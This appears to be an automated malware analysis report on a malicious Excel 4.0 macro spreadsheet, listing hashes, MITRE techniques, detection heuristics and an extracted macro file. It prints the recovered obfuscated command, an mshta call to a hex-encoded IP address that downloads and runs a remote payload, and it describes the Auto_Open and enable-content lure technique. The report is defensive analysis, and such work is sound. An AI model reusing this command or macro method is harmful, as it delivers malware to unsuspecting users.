Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 5245b5a3727d13a5…

MALICIOUS

Office (OLE) / .XLS

65.3 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 7ab7e4b0aee0bd567a12e11fe141322c SHA-1: ab3368ce8b26ee3e9f7a21ee94b9edc21a7543ab SHA-256: 5245b5a3727d13a51a4bac5958a77a3d39c82659e46a372d7b27e1c0108883b5
100 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic for Applications T1204.002 Malicious File

The sample is an Excel 4.0 macro-enabled spreadsheet that uses an "Auto_Open" macro to execute a command. The document body contains a lure to enable editing and content, which is a common tactic for macro-based malware. The extracted macro script reconstructs the command `cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html`, indicating that it attempts to download and execute a payload from the specified URL. The macro also uses SET.NAME to define a string that is then executed.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes